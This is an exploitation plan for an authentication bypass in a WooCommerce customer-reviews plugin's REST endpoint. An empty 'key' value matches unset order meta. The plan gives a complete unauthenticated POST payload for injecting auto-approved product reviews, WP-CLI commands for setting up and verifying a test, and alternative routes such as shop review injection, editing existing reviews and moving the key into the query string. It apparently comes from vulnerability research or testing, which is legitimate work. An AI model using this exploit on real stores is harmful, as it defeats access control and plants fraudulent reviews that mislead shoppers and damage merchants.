Exploitation Research Plan: CVE-2026-4664

1. Vulnerability Summary

The Customer Reviews for WooCommerce plugin (up to 5.103.0) contains an improper authentication vulnerability in its REST API implementation. The endpoint POST /wp-json/ivole/v1/review uses a permission check function (create_review_permissions_check) that validates access by comparing a user-provided key parameter against a specific order's meta value (ivole_secret_key).

The vulnerability exists because:

1. The plugin uses strict equality (===) for the comparison.
2. The ivole_secret_key meta is only generated when a review reminder email is sent.
3. For orders where no reminder has been sent, get_post_meta() returns an empty string ("").
4. An attacker can provide an empty key parameter, which strictly matches the empty meta value, bypassing authentication.

2. Attack Vector Analysis

• Endpoint: /wp-json/ivole/v1/review
• Method: POST
• Authentication: Unauthenticated (Bypassed via key parameter).
• Vulnerable Parameter: key (within JSON body or query string).
• Payload: A JSON object containing a valid order ID and an array of items to review.
• Preconditions:
  • At least one WooCommerce Order must exist in the database.
  • The Order ID must be known (IDs are sequential/guessable).
  • The ivole_secret_key meta must not have been set for that order (common for new or unprocessed orders).

3. Code Flow

1. Entry Point: CR_Endpoint::register_routes() in includes/reviews/class-cr-endpoint.php registers the route /ivole/v1/review.
2. Permission Check: Before execution, create_review_permissions_check() is called.
   • It retrieves the order_id from the request.
   • It calls get_post_meta( $order_id, 'ivole_secret_key', true ).
   • If the meta is missing, the result is "".
   • It compares this against the key param from the request. If "" === "", it returns true.
3. Callback: CR_Endpoint::create_review_callback() is executed.
   • It decodes the JSON body into $body2.
   • It calls self::create_review( $body2, false ).
4. Sink: CR_Endpoint::create_review() processes the review data.
   • It instantiates the order: $order = new WC_Order( $order_id ).
   • It iterates through $body2->order->items.
   • It creates a WordPress comment for each item (product) with comment_type set to review.
   • Reviews are auto-approved if ivole_enable_moderation is 'no' (the default).

4. Nonce Acquisition Strategy

This specific vulnerability targets a custom REST API endpoint intended for external use (CusRev service). The permission_callback handles authorization via the key parameter. Standard WordPress REST API nonces (_wpnonce) are not required for this endpoint if the permission_callback returns true.

No nonce acquisition is necessary for this exploit.

5. Exploitation Strategy

The goal is to submit an unauthenticated review for a product by referencing a valid order ID with an empty secret key.

Step-by-Step Plan:

1. Identify Targets: Find a valid Product ID and a valid Order ID.
2. Prepare Payload: Create a JSON object that includes the key (empty), the order ID, and the review details.
3. Send Request: Execute a POST request to the REST API.

HTTP Request Details:

• URL: http://<target>/wp-json/ivole/v1/review
• Method: POST
• Headers: Content-Type: application/json
• Body:

{
  "key": "",
  "order": {
    "id": 123,
    "items": [
      {
        "id": 456,
        "rating": 5,
        "comment": "This product was amazing! (Injected Review)"
      }
    ]
  }
}

(Replace 123 with a valid Order ID and 456 with a valid Product ID).

6. Test Data Setup

To reliably test this, the following environment state is required:

1. WooCommerce Active: Must be installed and configured.
2. Target Product: Create a product with ID X.
   • wp post create --post_type=product --post_title='Target Product' --post_status=publish
3. Target Order: Create an order with ID Y that includes any product.
   • wp wc shell --command="\$order = wc_create_order(); \$order->add_product(get_product(X)); \$order->set_billing_email('victim@example.com'); \$order->save();"
4. Plugin Setting: Ensure moderation is off (default).
   • wp option update ivole_enable_moderation 'no'

7. Expected Results

• HTTP Response: 200 OK or 201 Created.
• Database State: A new entry in the wp_comments table associated with the Product ID, having comment_type = review and comment_approved = 1.

8. Verification Steps

1. Check via WP-CLI:

   wp comment list --post_id=<PRODUCT_ID> --status=approve
   

2. Confirm Meta: Verify that the comment has the rating meta.

   wp comment meta list <COMMENT_ID>
   

3. UI Verification: Navigate to the product page on the frontend and check the "Reviews" tab.

9. Alternative Approaches

• Shop Review Injection: If product reviews are disabled, target the "Shop Review" feature by providing shop_rating and shop_comment in the order object instead of items.
• Modifying Existing Reviews: The plugin description mentions "modify" reviews. This may involve providing a comment_id in the payload if the code path supports updates (to be verified during execution by inspecting create_review logic for existing comment checks).
• Parameter Placement: If key in the JSON body is ignored by the permission check, try passing it as a query parameter: POST /wp-json/ivole/v1/review?key=.